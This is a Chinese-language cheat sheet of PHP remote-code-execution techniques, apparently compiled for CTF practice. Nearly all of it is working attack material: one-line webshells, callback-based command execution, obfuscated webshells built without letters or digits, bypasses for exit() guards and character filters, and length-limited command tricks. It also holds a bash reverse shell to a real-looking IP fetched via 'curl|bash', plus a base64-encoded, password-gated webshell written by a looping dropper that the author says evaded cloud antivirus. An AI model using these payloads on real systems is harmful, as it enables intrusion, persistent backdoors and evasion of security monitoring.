php rce 姿势 总结

php rce

简介:就是在一些明显帮你执行命令的地方对其进行恶意命令的注入。

探针:一般看康他能不能读取phpinfo (phpinfo可以传参数,见文档)

目标:找flag,根目录(/flag),当前目录(./flag),环境变量,phpinfo

资源

基础靶场:lfi-labs(里面也有一点文件包含的题)

标志-危险函数

代码执行

各种函数如何写马:https://www.jianshu.com/p/90473b8e6667

参考https://pplsec.github.io/2019/01/17/PHP%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C&%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/

eval

不能当可变函数

一句话木马的各种写法

@eval(assert("eval(\$_POST['python']);"));
@eval(eval($_POST['python']));

asset

  • php7.2前:assert是一个函数,可以使用可变函数调用
  • php7.2后:assert也同eval,是语言构造器而不是函数

demo

assert(@$_POST['a']); 

create_function

<?php 
$fun = create_function('',$_POST['a']);
$fun();
?>

WordPress <= 4.6.1 使用语言文件任意代码执行漏洞就是由create_function()触发。
http://blog.knownsec.com/2016/10/wordpress-4-6-1-language-exploit/

倘若没有$fun();函数调用的情形,就需要我们自己实现

例如

$a = ['create_function','','2;}system(dir);/*'];
call_user_func(...$a);

call_user_func / call_user_func_array

call_user_func

call_user_func("assert",$_POST['a']);
//a=phpinfo() 或者 a=phpinfo();
call_user_func("phpinfo",-1);

call_user_func_array ( callable $callback , array $param_arr )

<?php
    call_user_func_array($_GET['a1'],$_GET['a2']);
    //xxx.php?a1=system&a2[]=whoami
    //xxx.php?a1=assert&a2[]=phpinfo()
?>

2019年1月11日ThinkPHP 5.0.x~5.2x爆出的远程代码执行漏洞就是由call_user_func()触发。

array_walk

array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )
array_walk — 使用用户自定义函数对数组中的每个元素做回调处理

<?php 
    array_walk($_GET['a'],$_GET['b']);
    //xxx.php?a[]=phpinfo()&b=assert //assert注意版本
    //xxx.php?a[]=whoami&b=system
?>

array_map

array_map ( callable $callback , array $array1 [, array $… ] )
array_map()为数组的每个元素应用回调函数。
返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

<?php
    array_map($_GET['a'],$_GET['b']);  
    //xxx.php?a=system&b[]=whoami
    //xxx.php?a=assert&b[]=phpinfo()

    //$array = array(0,1,2,3,4,5);
    //array_map($_GET['a'],$array);
    //.php?a=phpinfo
?>

array_filter

array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
array_filter()用回调函数过滤数组中的单元。依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

<?php 
    array_filter(array($_GET['cmd']),$_GET['func']);
    //?func=system&cmd=whoami       //assert注意版本
    //?func=assert&cmd=phpinfo()
?>

array_reduce

用回调函数迭代的将数组化为单一的值,第一个参数是数组,第二个参数是回调函数

array_reduce([1], 'system', 'whoami');

array_diff_ukey/array_diff_uassoc:

array_diff_ukey(['whoami'=>''], [''=>''], 'system');
array_diff_uassoc(['whoami'=>''], [''=>''], 'system');

array_intersect_ukey/array_intersect_uassoc

array_intersect_ukey(['whoami'=>''], [''=>''], 'system');
array_intersect_uassoc(['whoami'=>''], [''=>''], 'system');

usort

usort ( array &$array , callable $value_compare_func )
本函数将用用户自定义的比较函数对一个数组中的值进行排序

<?php
   //php5.6版本以下 
   usort($_GET,'system');    //xxx.php?1=1&2=whoami
   //usort($_GET,'assert');   //xxx.php?1=1&2=phpinfo()
   //usort($_GET,'syst'.'em');     
   //usort($_GET,'asse'.'rt');    
   //php5.6以上
   //usort(...$_GET);   xxx.php?1[]=test&1[]=phpinfo();&2=assert
 ?>

ob_start()

ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
ob_start — 打开输出控制缓冲

<?php
    $cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();
    //xxx.php?a=whoami
?>

可变函数/动态调用 $var(args)

http://php.net/manual/zh/functions.variable-functions.php
PHP 支持可变函数的概念。如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

<?php 
    $_GET['a']($_GET['b']);
    //xxx.php?a=system&b=whoami
   //xxx?a=assert&b=phpinfo()
?>

补充可变函数示例:

<?php
function welcome() {
    echo "hello lltest<br/>";
}

$test = 'welcome';
$test(); 
@$_GET['a']();   //xxx.php?a=welcome    

function welcome2($name) {  //带参数
    echo "hello $name<br/>";
}
@$_GET['b']($_GET['c']);   //xxx.php?a=welcome&b=welcome2&c=tom
  • 不支持动态调用的函数:
eval

include

file_get_contents

require

assert              #php7.2后
  • 支持动态调用的函数:
assert                  #php7.2前
system
passthru
show_source

$

<?php 
    ${phpinfo()};
?>

preg_replace 开启e

php7.0.0不再支持 /e修饰符;php5.5.0 /e 修饰符已被弃用

@preg_replace("/abcde/e", $_POST['a'], "abcdefg");

这个函数原本是利用正则表达式替换符合条件的字符串,但是这个函数有一个功能——可执行命令。这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行

header_register_callback

无参数callback

header_register_callback('phpinfo');

系统命令执行

passthru

支持动态调用

passthru(@$_POST['a']); 

system

shell_exec/exec

执行但不回显

calc可以弹计算器

shell_exec("calc");
echo shell_exec("whoami");

exec("calc");
echo exec("whoami");

pcntl_exec()

pcntl_exec — 在当前进程空间执行指定程序

<?php
    pcntl_exec( "/bin/bash" , array("whoami"));
?>

popen()

popen ( string $command , string $mode )
popen — 打开进程文件指针。打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生

<?php  
    $test = "whoami";  
    $fp = popen($test,"r");  //popen打一个进程通道  

    while (!feof($fp)) {      //从通道取出内容 
        $out = fgets($fp, 4096);  
        echo  $out;          
    }  
    pclose($fp);  
?>

proc_open()

proc_open — 执行一个命令,并且打开用来输入/输出的文件指针
类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力

<?php  
    $test = "whoami";  
    $array =   array(  
    array("pipe","r"),   //标准输入  
    array("pipe","w"),   //标准输出内容  
    array("pipe","w")    //标准输出错误  
 );  

    $fp = proc_open($test,$array,$pipes);   //打开一个进程通道  
    echo stream_get_contents($pipes[1]);    //为什么是$pipes[1],因为1是输出内容  
    proc_close($fp);  
?>

jacko神拿过这个出题:

show_source(__FILE__);
$c1 = $_GET['c1'];
$c2 = $_GET['c2'];
if(preg_match('/\s|\$|{/',$c1.$c2)){
    echo 'Not allowed';
    exit;
}
$descriptorspec = array(
    0 => array("pipe", "r"),
    1 => array("pipe", "w"),
    2 => array("file", "/tmp/error", "a")
 );
$process = proc_open($c1, $descriptorspec, $pipes);
fwrite($pipes[0],$c2);
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
proc_close($process);

payload1

?c1=perl&c2=system("cat\x20/*")

payload2

?c1=php&c2=<?=system("cat\x20/*");?>

反单引号

无回显

<?php
    echo `whoami`;
    `calc`;
?>

也可以这样,常用于测试和绕长度限制

`$_GET[1]`

escapeshellarg

escapeshellcmd

file_put_contents --任意文件写入

任意文件写入就几乎等同于任意文件上传,所以可以参考之前的

优先考虑写shell

建议

var_dump(file_put_contents("shell.php","<? @eval(\x24_POST[python]);?>"))

$一定要转义,不然写不上去

\$
%24

读文件

读文件常用的关键词替换

  • file_get_contents()

  • highlight_file() (复现失败,待重试)

  • show_source()

  • fgets()

  • file()

  • readfile()

读文件include,且不需要分号

如果只是要读取文件,可以用include()

payload

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

可以传shell

脑洞

文件名(ls的返回)被当作php解析

技巧-绕过-免杀

file_put_contents 绕过死亡exit

参考文章:

https://xiaolong22333.top/index.php/archives/114/

或者

php死亡exit()绕过.md

大致有如下三种

file_put_contents($filename,"<?php exit();".$content);
file_put_contents($content,"<?php exit();".$content);
file_put_contents($filename,$content . "\nxxxxxx");

绕过的方法总的来说是:

  • base64编码绕过
filename=php://filter/convert.base64-decode/resource=shell.php
content=aPD9waHAgcGhwaW5mbygpOz8+
  • rot13编码绕过
filename=php://filter/convert.string.rot13/resource=shell.php
content=<?cuc cucvasb();?>
  • 过滤器嵌套绕过

一种payload

filename=php://filter/string.strip_tags|convert.base64-decode/resource=shell.php
content=?>PD9waHAgcGhwaW5mbygpOz8+

string.strip_tags可以过滤掉html标签和php标签里的内容,然后再进行base64解码

  • .htaccess的预包含利用
filename=php://filter/write=string.strip_tags/resource=.htaccess
content=?>php_value auto_prepend_file D:\\phpstudy_pro\\www\\flag.php
  • convert.iconv.*
content=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php
  • .htaccess
filename=.htaccess
content=php_value auto_prepend_file D:\\phpstudy_pro\\www\\flag.php%0a%23\

要求无参数RCE

数学编码

比如说遇到这类过滤:正则如下

aaaa(aaa(bb()))

[a-z,_]+\((?R)?\)

image-20210808182442888

[链接](PHP Parametric Function RCE · sky's blog (skysec.top))

直接rce

localeconv制造一个点

多给几条payload:

pos(localeconv())           #这是一个点
scandir(pos(localeconv()))      #扫描当前目录
show_source(next(array_reverse(scandir(pos(localeconv())))));
                                #利用数组指针,展示flag.php的源码

也可以使用getheaders

类似的,也有使用unique取随机编码然后爆破的

echo(implode(scandir(chr(strrev(uniqid())))));
var_dump(scandir(chr(strrev(uniqid()))));

var_dump,print_r, var_export

echo(json_encode(scandir(chr(strrev(uniqid())))));

uniqid取随机编码->strrev反转字符串->chr取ascii码表中的对应字符(只要爆破出点就成昆)->扫描目录输出为数组->转为数组->输出

chr可以支持0~255以外的

image-20220509192037098

结果

image-20220509183647304

如果不卡的话,推荐repeater爆破,50次以内应该能出

我试了一下

cmd=$a=strrev(uniqid());echo(implode(scandir(chr($a))));echo('mikumikunimku');echo($a);

.似乎是这个:chr(71464376f8726)

uniqid被过滤还可以

  • rand()
  • 编码绕过 bin hex

请求报头传递参数

  • getallheaders(利用http报头传参)

仕杰giegie有:

先使用burp把rce用到的函数放在报文最后

var_dump(end(getallheaders()))          #用这个来测试

之后使用无参函数提取到payload放入rce中

或者

  • apache_request_headers()
var_dump(apache_request_headers())%3b

实际上也不一定要刚好取到

如果取不到的话,还可以使用的方法有:

  • 针对数组进行操作

array_reverse() :反转数组

next():取下一位

end():取最后一位

current(): 当前指针指向是的数组元素

reset

  • 转化为字符串进行操作

简单来说:如果array_reverse()被过滤,可以先转字符串implode(),再strrev,或者使用str的各种函数

转化为字符串一般是implode(),可能需要strrev

get_defined_vars()请求报文传递参数

往往是get,post,file可以这样做,思路是无中生有一个全局变量,然后把它当作要执行的参数。

payload

eval(end(next(get_defined_vars())));&b=phpinfo();

image-20220507225447187

...与unserialz

比如

我们添加头a:3:{i:0;s:15:"create_function";i:1;s:0:"";i:2;s:19:"}eval($_POST[1]);/*";}

与此同时

var_dump(unserialize(next(getallheaders())));

image-20220508154033633

点点点运算符其实是

image-20220508154058337

意思就是数组元素变成一个一个的参数输入

我们都知道call_user_func('create_function','','}eval($_POST[1]);/*')可以rce

image-20220508154657937

cmd=call_user_func('create_function','','}eval(phpinfo());/*')%3b

将var_dump替换成call_user_func即可调用

cmd=call_user_func(...unserialize(next(getallheaders()))); );

phpsession_id传递参数

与前面几种方法类似,在phpsession_id里面传递参数(payload),

phpsession_id只允许数字和字母

脚本如下:

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'sky cool';".encode('hex')
cookies = {
    'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

无数字字母

取反,异或操作

这种要求可执行恶意代码的函数必为支持动态调用的函数

见前面的可动态调用的函数

参考https://www.freebuf.com/articles/network/279563.html

取反,异或:

[极客大挑战 2019]RCE ME - 云千 - 博客园 (cnblogs.com)

image-20211010011756062

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);

或着用这个:

复现如图:(eval(assert(phpinfo());)

image-20210919140709782

phpinfo()

复现: eval(phpinfo();)

passthru                #既可以执行phpcode,也可以执行linux指令

复现:eval(passthru(phpinfo())) 或者 eval(passthru(ipconfig)

image-20210919143629740

passthru的payload:

(实战有效)

(~%8F%9E%8C%8C%8B%97%8D%8A)((~%9B%96%8D));
//passthru(dir)

image-20211010222047344

?wllm=(~%8F%9E%8C%8C%8B%97%8D%8A)((~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98));
//passthru(cat /flllllaaaaaaggggggg)

image-20211010221424998

(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

image-20220520131925536

异或

这是最简单、最容易想到的方法。在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

得到如下的结果(因为其中存在很多不可打印字符,所以我用url编码表示了):

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

php自增

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

如果允许数字的话,前面的字符构造(得到Array)还可以

$_=(_.[])[1];

这个是assert()的Php自增写法,然后传个变量去rce即可

assert($_POST[_])

url编码版

%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B

汉字

利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

image-20220812012517407

看了p文后,可以根据mochu师傅再简化一下shell

<?php 
$__ = [];
$_ = ($__ == $__);//$_ = 1

$__ = ~(融);
$___ = $__[$_];//a
$__ = ~(匆);
$___ .= $__[$_].$__[$_];//ass
$__ = ~(随);
$___ .= $__[$_];//asse
$__ = ~(千);
$___ .= $__[$_];//asser
$__ = ~(苦);
$___ .= $__[$_];//assert

$____ = ~(~(_));//_
$__ = ~(诗);
$____ .= $__[$_];//_P
$__ = ~(尘);
$____ .= $__[$_];//_PO
$__ = ~(欣);
$____ .= $__[$_];//_POS
$__ = ~(站);
$____ .= $__[$_];//_POST

$_=$$____;//$_POST
$___($_[_]);//assert($_POST[_])

无注释版

//shell.txt
<?php
$__=[];
$_=($__==$__);
$__=~(融);
$___=$__[$_];
$__=~(匆);
$___.=$__[$_].$__[$_];
$__=~(随);
$___.=$__[$_];
$__=~(千);
$___.=$__[$_];
$__=~(苦);
$___.=$__[$_];
$____=~(~(_));
$__=~(诗);
$____.=$__[$_];
$__=~(尘);
$____.=$__[$_];
$__=~(欣);
$____.=$__[$_];
$__=~(站);
$____.=$__[$_];
$_=$$____;
$___($_[_]);

注意!最好是把上面payload写在txt文件里直接上传,因为复制黏贴进burp会导致burp无法识别汉字而乱码失效

汉字fuzz脚本

<?php
//Author: m0c1nu7 
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');

function str_split_unicode($str, $l = 0) {

    if ($l > 0) {
        $ret = array();
        $len = mb_strlen($str, "UTF-8");
        for ($i = 0; $i < $len; $i += $l) {
            $ret[] = mb_substr($str, $i, $l, "UTF-8");
        }
        return $ret;
    }
    return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}

$s = '你归来是诗离去成词且笑风尘不敢造次我糟糠能食粗衣也认煮酒话桑不敢相思你终会遇见这么一个人他会用整个人生将你精心收藏用漫长岁月把你妥善安放怕什么岁月漫长你心地善良,终会有一人陪你骑马喝酒走四方为你唱一首歌歌中有你亦有我我的泪我的魅将都融入到我的歌声里飘向孤独的你你是否听到了我的歌曲是否也在黯然落泪?岁月匆匆人生漫漫漠视了真情谁是站谁的谁已经变得不重要至少曾经已拥有长相思爱相随时空隔离谁相陪?花前月下心随风相思一片梦成空笑看往事红尘中多少凝思付清秋?长相思泪相随曾经谁是谁的谁?孤星冷月泪盈盈念曾经相逢心长时光短让人垂泪到天明长相思苦相随窗前双燕比翼飞日暮情人成双对于时光无垠的田野中没有早一步也没有晚一步恰好遇见了想要遇见的人这是一段多少美丽而令人心动的尘缘于爱情来说相见恨早会恨晚站会留下梨花带雨的疼痛而于友情来说无论太早或者太迟都是一份值得珍惜的情缘晚秋缓缓走晚了我的轮回疏雨一刻半疏笼起我深深的梦馀昨日遗憾寸寸疏雨挑涸泪烛落笔无处飒晚秋彼晚秋未晚懒我疏雨疏风去归我初心还我清梦唯我在晚秋未晚里守望那疏雨半疏的麦田待下一片梧桐叶复舞我亦拾起我的旧梦旧梦清寒一枕乱我眸中晚秋躞蹀的雨疏疏拍窗我的晚秋疏雨半疏疏开昨日我的梦情缘如海深邃澈蓝干涸成妄谈一湛清湖泪潸然一颦寒眉锁阑珊只为你而欣悦只因你而清泪斑斑你是我的前世吧为何沁泊在我的心怀缱绻起涟波千层驻我心扉知我情怀从此我已习惯你的嘘寒问暖懒倦地痴卧在你的胸怀红霞满腮昨天再苦都要用今天的微笑把它吟咏成一段幸福的记忆;曾经再累都要用当站下的遗忘穿越万道红尘让心波澜不惊人生最大的荣耀不在于从不跌倒而在于每一次跌倒后都能爬起来回忆是件很累的事就像失眠时怎么躺都不对的样子有时候往往直到离开在回忆里才能知道自己有多喜欢一座城';

$arr_str=str_split_unicode($s);

for ($i=0; $i < strlen($s) ; $i++) { 
    echo $arr_str[$i].' ------- '.~$arr_str[$i][1].'<br>';
}

 ?>

文件上传+条件竞争

还有一种做法,就是利用文件上传(自己写一个文件上传的html,写在原本的界面那下面,上传桌面上的a.php然后burp抓包,把rce参数写为下面的poc)

?c=.+/???/????????[@-[]

参考:https://blog.csdn.net/qq_46091464/article/details/108513145

C/C或者1/C制造字符

在BsidesCTF2021中出过类似的题,利用的是一些数学上的trick

首先是注意到cookie中的hint,所以在请求中加上?looklook=1即可看到源码:

<?php
error_reporting(0);
if ($_GET['looklook']){
    highlight_file(__FILE__);
}else{
    setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
        if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("fucccc hacker!!");
        }
    }
} else {

phpinfo();

}
?>

可用的字符有:大写C、0到3、[、]、$、_、(、)、;

首先是如何得到字符:

PHP认为结果是无限大时,给出的结果是:INF(Infinite)
如果一个数超出 Infinite,那就是: NaN(not-a-number)

var_dump(C/C) = float(NAN)

var_dump(1/C) = float(INF)

只要是两个字母相除都会被认为是NAN,也就是0/0 = NAN
那么1/C相当于 1/0 = INF

只要是两个字母相除都会被认为是NAN,也就是0/0 = NAN
那么1/C相当于 1/0 = INF

此外,得到NAN还可以通过399个9来得到,但不适合这题了

要获得单字符还得拼接一个字符上去,不然得到是NULL

$_ = C/C.C
var_dump($_[0])     # 得到 N

_GET的构造如下:

$_=C;++$_;++$_;$C=$_;++$_;++$_;$__=_.$_.$C;$C=C/C.C;$_=$C[0];$_++;$_++;$_++;$_++;$_++;$_++;$_=$__.$_;
var_dump($_)        # _GET

所以最后$_GET[0]($_GET[1])的构造如下

$_=C;++$_;++$_;$C=$_;++$_;++$_;$__=_.$_.$C;$C=C/C.C;$_=$C[0];$_++;$_++;$_++;$_++;$_++;$_++;$_=$__.$_;$$_[0]($$_[1]);
1

需要进行URL编码,并用highlight_file读文件

http://0e53fed8-692c-4850-84e4-fad73918286c.challenge.ctf.show:8080/?looklook=1&0=highlight_file&1=/flag.txt

ctf_show=%24_%3DC%3B%2B%2B%24_%3B%2B%2B%24_%3B%24C%3D%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%24__%3D_.%24_.%24

利用科学计数法的e

以下是超短的payload

$_=(0.00001._)[3];$%80=$_++;$_=_.++$_.$%80.++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;$$_[1]($$_[2]);

url版

%24_%3D(0.00001._)%5B3%5D%3B%24%80%3D%24_%2B%2B%3B%24_%3D_.%2B%2B%24_.%24%80.%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B

当然你%80换__也行

  • 原理
主要有两个考点,一个是用0.00001来造E,另一个是用\x80-\xff构造变量名

长度限制

(59条消息) CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总_OceanSec的博客-CSDN博客

七字符

#写入语句
<?php eval($_GET[1]);
#base64编码后
PD9waHAgZXZhbCgkX0dFVFsxXSk7
#需要被执行的语句:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

payload

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

五字符

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);
?>
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0【前面可以拆成更小的,ls -t>0需要单独拆分出来】
sh 0

反弹shell

既然可以执行命令,那么我们首先想到的是反弹一个shell回来

bash反弹shell的命令如下:

bash -i >& /dev/tcp/vps的ip/监听的端口 0>&1

空格需要转义

>\ \\

构造空格就用去了五个字符,我们的语句里面有两个空格,而相同的文件名只能有一个,因此这里不能直接执行bash反弹shell
那么通过将反弹语句放在vps上,然后通过如下方式来执行:

curl ip地址|bash

我们先在自己的vps新建一个文件,内容为

bash -i >& /dev/tcp/120.79.33.253/7777 0>&1

然后在vps上面监听7777端口

nc -lv 7777

因为ls -t>_的长度也大于5,所以要要把ls -t>y写入文件

ls命令排序的规则是空格和符号最前,数字其次,字母最后

>ls\\
ls>_
>\ \\
>-t\\
>\>y
ls>>_

那么我们再构造curl 120.79.33.253|bash

>bash
>\|\\
>53\\
>2\\
>3.\\
>3\\
>9.\\
>7\\
>0.\\
>12\\
>\ \\
>rl\\
>cu\\

然后运行

sh _

生成文件y
再执行

sh y

字符串拼接

常见于上传免杀phpshell

<?php
$a = 'ass';
$b = 'er';
$c = 't';
$d = $a.$b.$c; //assert

$a = 'assert';
$b = '_GET';
$a($$b['mu']);

我在自己的阿里云服务器上做了实验,正常的一句话阿里云会有警告,而这个木马成功骗过了阿里云。木马放在服务器php文件夹下的miansha.php中。

<?php

set_time_limit(1);

ignore_user_abort(true);

$file = 'phpinfo.php';

$shell =

"PD9waHAKCSRzdHIxID0gJ2FIKFVVSChmc2RmSChVVUgoZnNkZixmZGdkZWZqZzBKKXImJUYlKl5HKnQnOwoJJHN0cjIgPSBzdHJ0cigkc3RyMSxhcnJheSgnYUgoVVVIKGZzZGZIKFVVSChmc2RmLCc9PidhcycsJ2ZkZ2RlZmpnMEopJz0+J3NlJywnciYlRiUqXkcqdCc9PidydCcpKTsKCSRzdHIzID0gc3RydHIoJHN0cjIsYXJyYXkoJ3MsJz0+J3MnLCdmZGdkZWZqZzBKKXImJUYlKl5HKic9PidlcicpKTsKCWlmKG1kNShAJF9HRVRbJ2EnXSkgPT0nZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2UnKXsKCQkkc3RyNCA9IHN0cnJldigkX1BPU1RbJ2EnXSk7CgkJJHN0cjUgPSBzdHJyZXYoJHN0cjQpOwoJCSRzdHIzKCRzdHI1KTsKICAgIH0KPz4=";

while(true){

file_put_contents($file,base64_decode($shell));

usleep(50);
